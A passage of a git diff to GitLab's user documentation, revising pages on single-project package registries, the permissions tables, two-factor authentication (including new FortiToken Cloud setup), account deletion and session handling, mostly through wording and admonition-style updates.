+a GitLab repository to store code, you can use the repository to store all your packages.
+Then you can configure your remote repositories to point to the project in GitLab.
-This guide mirrors the creation of [this package registry](https://gitlab.com/sabrams/my-package-registry).
+You might want to do this because:
-For the video version, see [Single Project Package Registry Demo](https://youtu.be/ui2nNBwN35c).
-
-## How does this work?
-
-You might be wondering "how is it possible to upload two packages from different codebases to the same project on GitLab?".
-
-It is easy to forget that a package on GitLab belongs to a project, but a project does not have to be a code repository.
-The code used to build your packages can be stored anywhere - maybe it is another project on GitLab, or maybe a completely
-different system altogether. All that matters is that when you configure your remote repositories for those packages, you
-point them at the same project on GitLab.
-
-## Why would I do this?
-
-There are a few reasons you might want to publish all your packages to one project on GitLab:
-
-1. You want to publish your packages on GitLab, but to a project that is different from where your code is stored.
-1. You would like to group packages together in ways that make sense for your usage (such as all NPM packages in one project,
- all packages being used by a specific department in one project, or all private packages in one project)
-1. You want to use one remote for all of your packages when installing them into other projects.
-1. You would like to migrate your packages to a single place on GitLab from a third-party package registry and do not
- want to worry about setting up separate projects for each package.
-1. You want to have your CI pipelines build all of your packages to one project so the individual responsible for
-validating packages can manage them all in one place.
+- You want to publish your packages in GitLab, but to a different project from where your code is stored.
+- You want to group packages together in one project. For example, you might want to put all NPM packages,
+ or all packages for a specific department, or all private packages in the same project.
+- When you install packages for other projects, you want to use one remote.
+- You want to migrate your packages from a third-party package registry to a single place in GitLab and do not
+ want to worry about setting up separate projects for each package.
+- You want to have your CI/CD pipelines build all of your packages to one project, so the person responsible for
+ validating packages can manage them all in one place.
## Example walkthrough
-There is no functionality specific to this feature. All we are doing is taking advantage of functionality available in each
-of the package management systems to publish packages of different types to the same place.
-
-Let's take a look at how you might create a public place to hold all of your public packages.
-
-### Create a project
-
-First, create a new project on GitLab. It does not have to have any code or content. Make note of the project ID
-displayed on the project overview page for use later in this process.
-
-### Create an access token
+No functionality is specific to this feature. Instead, we're taking advantage of the functionality
+of each package management system to publish different package types to the same place.
-All of the package repositories available on the GitLab package registry are accessible using [GitLab personal access
-tokens](../../profile/personal_access_tokens.md).
+- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+ Watch a video of how to add Maven, NPM, and Conan packages to [the same project](https://youtu.be/ui2nNBwN35c).
+- [View an example project](https://gitlab.com/sabrams/my-package-registry/-/packages).
-While using CI, you can alternatively use CI job tokens (`CI_JOB_TOKEN`) to authenticate.
+## Store different package types in one GitLab project
-### Configure your local project for the GitLab registry and upload
+Let's take a look at how you might create a public place to hold all of your public packages.
-There are many ways to use this feature. You can upload all types of packages to the same project,
-split things up based on package type, or package visibility level.
+1. Create a new project in GitLab. The project doesn't require any code or content. Note the project ID
+ that's displayed on the project overview page.
+1. Create an access token. All package types in the Package Registry are accessible by using
+ [GitLab personal access tokens](../../profile/personal_access_tokens.md).
+ If you're using CI/CD, you can use CI job tokens (`CI_JOB_TOKEN`) to authenticate.
+1. Configure your local project and publish the package.
-The purpose of this tutorial is to demonstrate the root idea that one project can hold many unrelated
-packages, and to allow you to discover the best way to use this functionality yourself.
+You can upload all types of packages to the same project, or
+split things up based on package type or package visibility level.
-#### NPM
+### NPM
-If you are using NPM, this involves creating an `.npmrc` file and adding the appropriate URL for uploading packages
-to your project using your project ID, then adding a section to your `package.json` file with a similar URL.
+If you're using NPM, create an `.npmrc` file. Add the appropriate URL for publishing
+packages to your project. Finally, add a section to your `package.json` file.
-Follow
-the instructions in the [GitLab NPM Registry documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After
-you do this, you can push your NPM package to your project using `npm publish`, as described in the
-[publishing packages](../npm_registry/index.md#publish-an-npm-package) section of the docs.
+Follow the instructions in the
+[GitLab NPM Registry documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After
+you do this, you can publish your NPM package to your project using `npm publish`, as described in the
+[publishing packages](../npm_registry/index.md#publish-an-npm-package) section.
-#### Maven
+### Maven
-If you are using Maven, this involves updating your `pom.xml` file with distribution sections, including the
+If you are using Maven, you update your `pom.xml` file with distribution sections. These updates include the
appropriate URL for your project, as described in the [GitLab Maven Repository documentation](../maven_repository/index.md#project-level-maven-endpoint).
Then, you need to add a `settings.xml` file and [include your access token](../maven_repository/index.md#authenticate-with-a-personal-access-token-in-maven).
-Now you can [deploy Maven packages](../maven_repository/index.md#publish-a-package) to your project.
+Now you can [publish Maven packages](../maven_repository/index.md#publish-a-package) to your project.
+
+### Conan
-#### Conan
+For Conan, you need to add GitLab as a Conan registry remote. Follow the instructions in the
+[GitLab Conan Repository docs](../conan_repository/index.md#add-the-package-registry-as-a-conan-remote).
+Then, create your package using the plus-separated (`+`) project path as your Conan user. For example,
+if your project is located at `https://gitlab.com/foo/bar/my-proj`,
+[create your Conan package](../conan_repository/index.md) using `conan create . foo+bar+my-proj/channel`.
+`channel` is your package channel (such as `stable` or `beta`).
-For Conan, first you need to add GitLab as a Conan registry remote. Follow the instructions in the [GitLab Conan Repository docs](../conan_repository/index.md#add-the-package-registry-as-a-conan-remote)
-to do so. Then, create your package using the plus-separated (`+`) project path as your Conan user. For example,
-if your project is located at `https://gitlab.com/foo/bar/my-proj`, then you can [create your Conan package](../conan_repository/index.md)
-using `conan create . foo+bar+my-proj/channel`, where `channel` is your package channel (such as `stable` or `beta`). After your package
-is created, you are ready to [upload your package](../conan_repository/index.md#publish-a-conan-package) depending on your final package recipe. For example:
+After you create your package, you're ready to [publish your package](../conan_repository/index.md#publish-a-conan-package),
+depending on your final package recipe. For example:
```shell
CONAN_LOGIN_USERNAME=<gitlab-username> CONAN_PASSWORD=<personal_access_token> conan upload MyPackage/1.0.0@foo+bar+my-proj/channel --all --remote=gitlab
```
-#### Composer
-
-It is currently not possible to publish a Composer package to a project that is different from where its code resides.
+### All other package types
-If you attempt to publish a Composer package to a different project, you get a `404 Branch Not Found`
-or `404 Tag Not Found` error.
+[All package types supported by GitLab](../index.md) can be published in
+the same GitLab project. In previous releases, not all package types could
+be published in the same project.
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index f1365ee1cab..0dd7d6f7696 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Permissions
@@ -36,7 +36,7 @@ usernames. A GitLab administrator can configure the GitLab instance to
## Project members permissions
-NOTE: **Note:**
+NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner,
@@ -61,10 +61,11 @@ The following table depicts the various user permission levels in a project.
| View wiki pages | ✓ | ✓ | ✓ | ✓ | ✓ |
| See a list of jobs | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
| See a job log | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
+| See a job with [debug logging](../ci/variables/README.md#debug-logging) | | | ✓ | ✓ | ✓ |
| Download and browse job artifacts | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
+| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ |
| Create new issue | ✓ | ✓ | ✓ | ✓ | ✓ |
| See related issues | ✓ | ✓ | ✓ | ✓ | ✓ |
-| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ |
| View [Releases](project/releases/index.md) | ✓ (*6*) | ✓ | ✓ | ✓ | ✓ |
| View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -91,7 +92,13 @@ The following table depicts the various user permission levels in a project.
| View Error Tracking list | | ✓ | ✓ | ✓ | ✓ |
| Create new merge request | | ✓ | ✓ | ✓ | ✓ |
| View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ |
+| Archive/reopen requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
| Create/edit requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
+| Import requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
+| Create new [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
+| Archive [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
+| Move [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
+| Reopen [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
| Create/edit/delete a Cleanup policy | | | ✓ | ✓ | ✓ |
@@ -159,9 +166,10 @@ The following table depicts the various user permission levels in a project.
| Manage Terraform state | | | | ✓ | ✓ |
| Manage license policy **(ULTIMATE)** | | | | ✓ | ✓ |
| Edit comments (posted by any user) | | | | ✓ | ✓ |
+| Reposition comments on images (posted by any user)|✓ (*11*) | ✓ (*11*) | ✓ (*11*) | ✓ | ✓ |
| Manage Error Tracking | | | | ✓ | ✓ |
| Delete wiki pages | | | | ✓ | ✓ |
-| View project Audit Events | | | | ✓ | ✓ |
+| View project Audit Events | | | ✓ (*12*) | ✓ | ✓ |
| Manage [push rules](../push_rules/push_rules.md) | | | | ✓ | ✓ |
| Manage [project access tokens](project/settings/project_access_tokens.md) **(CORE ONLY)** | | | | ✓ | ✓ |
| Switch visibility level | | | | | ✓ |
@@ -188,6 +196,8 @@ The following table depicts the various user permission levels in a project.
1. For information on eligible approvers for merge requests, see
[Eligible approvers](project/merge_requests/merge_request_approvals.md#eligible-approvers).
1. Owner permission is only available at the group or personal namespace level (and for instance admins) and is inherited by its projects.
+1. Applies only to comments on [Design Management](project/issues/design_management.md) designs.
+1. Users can only view events based on their individual actions.
## Project features permissions
@@ -233,7 +243,7 @@ read through the documentation on [permissions and access to confidential issues
## Group members permissions
-NOTE: **Note:**
+NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
Any user can remove themselves from a group, unless they are the last Owner of
@@ -245,8 +255,8 @@ group.
| Browse group | ✓ | ✓ | ✓ | ✓ | ✓ |
| View group wiki pages **(PREMIUM)** | ✓ (6) | ✓ | ✓ | ✓ | ✓ |
| View Insights charts **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View group epic **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| Create/edit group epic **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
+| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
+| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
| Manage group labels | | ✓ | ✓ | ✓ | ✓ |
| See a container registry | | ✓ | ✓ | ✓ | ✓ |
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
@@ -270,9 +280,9 @@ group.
| Create/Delete group deploy tokens | | | | | ✓ |
| Manage group members | | | | | ✓ |
| Delete group | | | | | ✓ |
-| Delete group epic **(ULTIMATE)** | | | | | ✓ |
+| Delete group epic **(PREMIUM)** | | | | | ✓ |
| Edit SAML SSO Billing **(SILVER ONLY)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) |
-| View group Audit Events | | | | | ✓ |
+| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ |
| Disable notification emails | | | | | ✓ |
| View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -281,6 +291,7 @@ group.
| View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Billing **(FREE ONLY)** | | | | | ✓ (4) |
| View Usage Quotas **(FREE ONLY)** | | | | | ✓ (4) |
+| Filter members by 2FA status | | | | | ✓ |
1. Groups can be set to [allow either Owners or Owners and
Maintainers to create subgroups](group/subgroups/index.md#creating-a-subgroup)
@@ -291,6 +302,7 @@ group.
1. Does not apply to subgroups.
1. Developers can push commits to the default branch of a new project only if the [default branch protection](group/index.md#changing-the-default-branch-protection-of-a-group) is set to "Partially protected" or "Not protected".
1. In addition, if your group is public or internal, all users who can see the group can also see group wiki pages.
+1. Users can only view events based on their individual actions.
### Subgroup permissions
@@ -329,7 +341,7 @@ always take into account the
[project's visibility and permissions settings](project/settings/index.md#sharing-and-permissions)
as well as the permission level of the user.
-NOTE: **Note:**
+NOTE:
External users still count towards a license seat.
An administrator can flag a user as external by either of the following methods:
@@ -358,7 +370,7 @@ and the ignore case flag is set (`/regex pattern/i`). Here are some examples:
- Use `^(?:(?!\.ext@domain\.com).)*$\r?` to mark users with email addresses
NOT including `.ext@domain.com` as internal.
-CAUTION: **Warning:**
+WARNING:
Be aware that this regex could lead to a
[regular expression denial of service (ReDoS) attack](https://en.wikipedia.org/wiki/ReDoS).
@@ -376,7 +388,7 @@ project is internal or private, Guest users have all the abilities that are
mentioned in the [permissions table above](#project-members-permissions) (they
are unable to browse the project's repository, for example).
-TIP: **Tip:**
+NOTE:
To prevent a guest user from creating projects, as an admin, you can edit the
user's profile to mark the user as [external](#external-users).
Beware though that even if a user is external, if they already have Reporter or
@@ -405,6 +417,11 @@ automatically have access to projects and subgroups underneath. To support such
Users with minimal access can list the group in the UI and through the API. However, they cannot see
details such as projects or subgroups. They do not have access to the group's page or list any of its subgroups or projects.
+### Minimal access users take license seats
+
+Users with even a "minimal access" role are counted against your number of license seats. This
+requirement does not apply for [GitLab Gold/Ultimate](https://about.gitlab.com/pricing/) subscriptions.
+
## Project features
Project features like wiki and issues can be hidden from users depending on
@@ -417,7 +434,7 @@ which visibility level you select on project settings.
## GitLab CI/CD permissions
-NOTE: **Note:**
+NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
GitLab CI/CD permissions rely on the role the user has in GitLab. There are four
@@ -451,10 +468,10 @@ instance and project. In addition, all admins can use the admin interface under
### Job permissions
-NOTE: **Note:**
+NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
-NOTE: **Note:**
+NOTE:
GitLab 8.12 has a completely redesigned job permissions system.
Read all about the [new model and its implications](project/new_ci_build_permissions_model.md).
diff --git a/doc/user/profile/account/create_accounts.md b/doc/user/profile/account/create_accounts.md
index cf5e4591a50..cdf80f722f7 100644
--- a/doc/user/profile/account/create_accounts.md
+++ b/doc/user/profile/account/create_accounts.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Creating users **(CORE ONLY)**
diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md
index 637d740ab0f..e347221bd66 100644
--- a/doc/user/profile/account/delete_account.md
+++ b/doc/user/profile/account/delete_account.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deleting a User account
@@ -12,7 +12,7 @@ Users can be deleted from a GitLab instance, either by:
- The user themselves.
- An administrator.
-NOTE: **Note:**
+NOTE:
Deleting a user will delete all projects in that user namespace.
## As a user
@@ -35,7 +35,7 @@ As an administrator, you can delete a user account by:
- **Delete user and contributions** to delete the user and
their associated records.
-DANGER: **Warning:**
+WARNING:
Using the **Delete user and contributions** option may result
in removing more data than intended. Please see [associated records](#associated-records)
below for additional details.
diff --git a/doc/user/profile/account/index.md b/doc/user/profile/account/index.md
index 56b6498e16c..b10cc778f45 100644
--- a/doc/user/profile/account/index.md
+++ b/doc/user/profile/account/index.md
@@ -3,3 +3,6 @@ redirect_to: '../index.md#profile-settings'
---
This document was moved to [../index.md#profile-settings](../index.md#profile-settings).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index dacb6c3a5a7..c25535cbf65 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -2,14 +2,14 @@
type: howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Two-factor authentication
Two-factor authentication (2FA) provides an additional level of security to your
GitLab account. After being enabled, in addition to supplying your username and
-password to sign in, you'll be prompted for a code generated by your one-time
+password to sign in, you are prompted for a code generated by your one-time
password authenticator (for example, a password manager on one of your devices).
By enabling 2FA, the only way someone other than you can sign in to your account
@@ -18,24 +18,25 @@ password secret.
## Overview
-TIP: **Tip:**
+NOTE:
When you enable 2FA, don't forget to back up your [recovery codes](#recovery-codes)!
In addition to time-based one time passwords (TOTP), GitLab supports U2F
-(universal 2nd factor) and WebAuthn (experimental) devices as the second factor of authentication. Once
-enabled, in addition to supplying your username and password to log in, you'll
-be prompted to activate your U2F / WebAuthn device (usually by pressing a button on it),
-and it will perform secure authentication on your behalf.
+(universal 2nd factor) and WebAuthn (experimental) devices as the second factor
+of authentication. After being enabled, in addition to supplying your username
+and password to sign in, you're prompted to activate your U2F / WebAuthn device
+(usually by pressing a button on it) which performs secure authentication on
+your behalf.
-It is highly recommended that you set up 2FA with both a
-[one-time password authenticator](#one-time-password) or use [FortiAuthenticator](#one-time-password-via-fortiauthenticator)
-and a [U2F device](#u2f-device) or a [WebAuthn device](#webauthn-device), so you can still access your account
-if you lose your U2F / WebAuthn device.
+It's highly recommended that you set up 2FA with both a [one-time password authenticator](#one-time-password)
+or use [FortiAuthenticator](#one-time-password-via-fortiauthenticator) and a
+[U2F device](#u2f-device) or a [WebAuthn device](#webauthn-device), so you can
+still access your account if you lose your U2F / WebAuthn device.
## Enabling 2FA
-There are multiple ways to enable two-factor authentication: via a one time password authenticator
-or a U2F / WebAuthn device.
+There are multiple ways to enable two-factor authentication: by using a one-time
+password authenticator or a U2F / WebAuthn device.
### One-time password
@@ -62,8 +63,8 @@ To enable 2FA:
code** field.
1. Select **Submit**.
-If the pin you entered was correct, you'll see a message indicating that
-two-factor authentication has been enabled, and you'll be presented with a list
+If the pin you entered was correct, a message displays indicating that
+two-factor authentication has been enabled, and you're shown a list
of [recovery codes](#recovery-codes). Be sure to download them and keep them
in a safe place.
@@ -77,7 +78,7 @@ You can use FortiAuthenticator as an OTP provider in GitLab. Users must exist in
both FortiAuthenticator and GitLab with the exact same username, and users must
have FortiToken configured in FortiAuthenticator.
-You'll also need a username and access token for FortiAuthenticator. The
+You need a username and access token for FortiAuthenticator. The
`access_token` in the code samples shown below is the FortAuthenticator access
key. To get the token, see the `REST API Solution Guide` at
[`Fortinet Document Library`](https://docs.fortinet.com/document/fortiauthenticator/6.2.0/rest-api-solution-guide/158294/the-fortiauthenticator-api).
@@ -141,6 +142,86 @@ to run the following command:
Feature.enable(:forti_authenticator, User.find(<user ID>))
```
+### One-time password via FortiToken Cloud
+
+> - Introduced in [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/212313).
+> - It's deployed behind a feature flag, disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-fortitoken-cloud-integration).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can use FortiToken Cloud as an OTP provider in GitLab. Users must exist in
+both FortiToken Cloud and GitLab with the exact same username, and users must
+have FortiToken configured in FortiToken Cloud.
+
+You'll also need a `client_id` and `client_secret` to configure FortiToken Cloud.
+To get these, see the `REST API Guide` at
+[`Fortinet Document Library`](https://docs.fortinet.com/document/fortitoken-cloud/20.4.d/rest-api).
+
+First configure FortiToken Cloud in GitLab. On your GitLab server:
+
+1. Open the configuration file.
+
+ For Omnibus GitLab:
+
+ ```shell
+ sudo editor /etc/gitlab/gitlab.rb
+ ```
+
+ For installations from source:
+
+ ```shell
+ cd /home/git/gitlab
+ sudo -u git -H editor config/gitlab.yml
+ ```
+
+1. Add the provider configuration:
+
+ For Omnibus package:
+
+ ```ruby
+ gitlab_rails['forti_token_cloud_enabled'] = true
+ gitlab_rails['forti_token_cloud_client_id'] = '<your_fortinet_cloud_client_id>'
+ gitlab_rails['forti_token_cloud_client_secret'] = '<your_fortinet_cloud_client_secret>'
+ ```
+
+ For installations from source:
+
+ ```yaml
+ forti_token_cloud:
+ enabled: true
+ client_id: YOUR_FORTI_TOKEN_CLOUD_CLIENT_ID
+ client_secret: YOUR_FORTI_TOKEN_CLOUD_CLIENT_SECRET
+ ```
+
+1. Save the configuration file.
+1. [Reconfigure](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
+ or [restart GitLab](../../../administration/restart_gitlab.md#installations-from-source)
+ for the changes to take effect if you installed GitLab via Omnibus or from
+ source respectively.
+
+#### Enable or disable FortiToken Cloud integration
+
+FortiToken Cloud integration is under development and not ready for production use.
+It is deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:forti_token_cloud, User.find(<user ID>))
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:forti_token_cloud, User.find(<user ID>))
+```
+
### U2F device
> Introduced in [GitLab 8.9](https://about.gitlab.com/blog/2016/06/22/gitlab-adds-support-for-u2f/).
@@ -157,7 +238,7 @@ following desktop browsers:
- Firefox 67+
- Opera
-NOTE: **Note:**
+NOTE:
For Firefox 47-66, you can enable the FIDO U2F API in
[about:config](https://support.mozilla.org/en-US/kb/about-config-editor-firefox).
Search for `security.webauth.u2f` and double click on it to toggle to `true`.
@@ -170,9 +251,9 @@ To set up 2FA with a U2F device:
1. Click **Enable Two-Factor Authentication**.
1. Connect your U2F device.
1. Click on **Set up New U2F Device**.
-1. A light will start blinking on your device. Activate it by pressing its button.
+1. A light begins blinking on your device. Activate it by pressing its button.
-You will see a message indicating that your device was successfully set up.
+A message displays, indicating that your device was successfully set up.
Click on **Register U2F Device** to complete the process.
### WebAuthn device
@@ -208,23 +289,26 @@ To set up 2FA with a WebAuthn compatible device:
1. Select **Set up New WebAuthn Device**.
1. Depending on your device, you might need to press a button or touch a sensor.
-You will see a message indicating that your device was successfully set up.
+A message displays, indicating that your device was successfully set up.
Recovery codes are not generated for WebAuthn devices.
## Recovery codes
-NOTE: **Note:**
+NOTE:
Recovery codes are not generated for U2F / WebAuthn devices.
-CAUTION: **Caution:**
+WARNING:
Each code can be used only once to log in to your account.
-Immediately after successfully enabling two-factor authentication, you'll be
+Immediately after successfully enabling two-factor authentication, you're
prompted to download a set of generated recovery codes. Should you ever lose access
to your one-time password authenticator, you can use one of these recovery codes to log in to
your account. We suggest copying and printing them, or downloading them using
the **Download codes** button for storage in a safe place. If you choose to
-download them, the file will be called `gitlab-recovery-codes.txt`.
+download them, the file is called `gitlab-recovery-codes.txt`.
+
+The UI now includes **Copy codes** and **Print codes** buttons, for your convenience.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267730) in GitLab 13.7.
If you lose the recovery codes or just want to generate new ones, you can do so
from the [two-factor authentication account settings page](#regenerate-2fa-recovery-codes) or
@@ -233,8 +317,8 @@ from the [two-factor authentication account settings page](#regenerate-2fa-recov
## Logging in with 2FA Enabled
Logging in with 2FA enabled is only slightly different than a normal login.
-Enter your username and password credentials as you normally would, and you'll
-be presented with a second prompt, depending on which type of 2FA you've enabled.
+Enter your username and password credentials as you normally would, and you're
+presented with a second prompt, depending on which type of 2FA you've enabled.
### Log in via a one-time password
@@ -246,19 +330,19 @@ recovery code to log in.
To log in via a U2F device:
1. Click **Login via U2F Device**.
-1. A light will start blinking on your device. Activate it by touching/pressing
+1. A light begins blinking on your device. Activate it by touching/pressing
its button.
-You will see a message indicating that your device responded to the authentication
-request and you will be automatically logged in.
+A message displays, indicating that your device responded to the authentication
+request, and you're automatically logged in.
### Log in via WebAuthn device
In supported browsers you should be automatically prompted to activate your WebAuthn device
(e.g. by touching/pressing its button) after entering your credentials.
-You will see a message indicating that your device responded to the authentication
-request and you will be automatically logged in.
+A message displays, indicating that your device responded to the authentication
+request and you're automatically logged in.
## Disabling 2FA
@@ -269,14 +353,14 @@ If you ever need to disable 2FA:
1. Go to **Account**.
1. Click **Disable**, under **Two-Factor Authentication**.
-This will clear all your two-factor authentication registrations, including mobile
+This clears all your two-factor authentication registrations, including mobile
applications and U2F / WebAuthn devices.
## Personal access tokens
When 2FA is enabled, you can no longer use your normal account password to
authenticate with Git over HTTPS on the command line or when using
-[GitLab's API](../../../api/README.md). You must use a
+the [GitLab API](../../../api/README.md). You must use a
[personal access token](../personal_access_tokens.md) instead.
## Recovery options
@@ -312,7 +396,7 @@ a new set of recovery codes with SSH:
ssh git@gitlab.example.com 2fa_recovery_codes
```
-1. You will then be prompted to confirm that you want to generate new codes.
+1. You are prompted to confirm that you want to generate new codes.
Continuing this process invalidates previously saved codes:
```shell
@@ -357,14 +441,14 @@ To regenerate 2FA recovery codes, you need access to a desktop browser:
1. If you've already configured 2FA, click **Manage two-factor authentication**.
1. In the **Register Two-Factor Authenticator** pane, click **Regenerate recovery codes**.
-NOTE: **Note:**
-If you regenerate 2FA recovery codes, save them. You won't be able to use any previously created 2FA codes.
+NOTE:
+If you regenerate 2FA recovery codes, save them. You can't use any previously created 2FA codes.
### Ask a GitLab administrator to disable two-factor authentication on your account
If you cannot use a saved recovery code or generate new recovery codes, ask a
GitLab global administrator to disable two-factor authentication for your
-account. This will temporarily leave your account in a less secure state.
+account. This temporarily leaves your account in a less secure state.
Sign in and re-enable two-factor authentication as soon as possible.
## Note to GitLab administrators
diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md
index 4630215eca6..381015f17c3 100644
--- a/doc/user/profile/active_sessions.md
+++ b/doc/user/profile/active_sessions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -32,9 +32,9 @@ exceeds 100, the oldest ones are deleted.
1. Use the previous steps to navigate to **Active Sessions**.
1. Click on **Revoke** besides a session. The current session cannot be revoked, as this would sign you out of GitLab.
-NOTE: **Note:**
+NOTE:
When any session is revoked all **Remember me** tokens for all
-devices will be revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out)
+devices are revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out)
for more information about the **Remember me** feature.
<!-- ## Troubleshooting
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index 37623c94eda..d60fb528499 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -2,7 +2,7 @@
type: index, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# User account
@@ -74,7 +74,7 @@ From there, you can:
- Manage your [preferences](preferences.md#syntax-highlighting-theme)
to customize your own GitLab experience
- [View your active sessions](active_sessions.md) and revoke any of them if necessary
-- Access your audit log, a security log of important events involving your account
+- Access your audit events, a security log of important events involving your account
## Changing your password
@@ -101,12 +101,12 @@ To change your `username`:
1. Enter a new username under **Change username**.
1. Click **Update username**.
-CAUTION: **Caution:**
+WARNING:
It is currently not possible to change your username if it contains a
project with [Container Registry](../packages/container_registry/index.md) tags,
because the project cannot be moved.
-TIP: **Tip:**
+NOTE:
If you want to retain ownership over the original namespace and
protect the URL redirects, then instead of changing a group's path or renaming a
username, you can create a new group and transfer projects to it.
@@ -135,7 +135,7 @@ To enable private profile:
1. Check the **Private profile** option in the **Main settings** section.
1. Click **Update profile settings**.
-NOTE: **Note:**
+NOTE:
All your profile information can be seen by yourself, and GitLab admins, even if
the **Private profile** option is enabled.
@@ -302,10 +302,10 @@ to get you a new `_gitlab_session` and keep you signed in through browser restar
After your `remember_user_token` expires and your `_gitlab_session` is cleared/expired,
you are asked to sign in again to verify your identity for security reasons.
-NOTE: **Note:**
+NOTE:
When any session is signed out, or when a session is revoked
via [Active Sessions](active_sessions.md), all **Remember me** tokens are revoked.
-While other sessions will remain active, the **Remember me** feature will not restore
+While other sessions remain active, the **Remember me** feature doesn't restore
a session if the browser is closed or the existing session expires.
### Increased sign-in time
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index f3d27147557..8974505cf02 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -2,7 +2,7 @@
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/notifications.html'
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
